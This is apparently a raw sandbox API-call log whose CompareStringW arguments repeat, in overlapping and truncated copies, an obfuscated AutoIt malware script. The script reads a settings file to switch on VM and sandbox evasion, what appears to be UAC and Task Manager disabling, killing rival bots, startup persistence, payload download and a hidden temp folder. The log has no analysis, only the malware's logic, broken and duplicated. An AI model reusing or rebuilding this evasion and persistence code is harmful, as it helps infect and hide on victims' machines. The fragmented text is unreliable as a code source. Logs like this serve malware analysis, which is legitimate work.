Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E3", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="$2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", 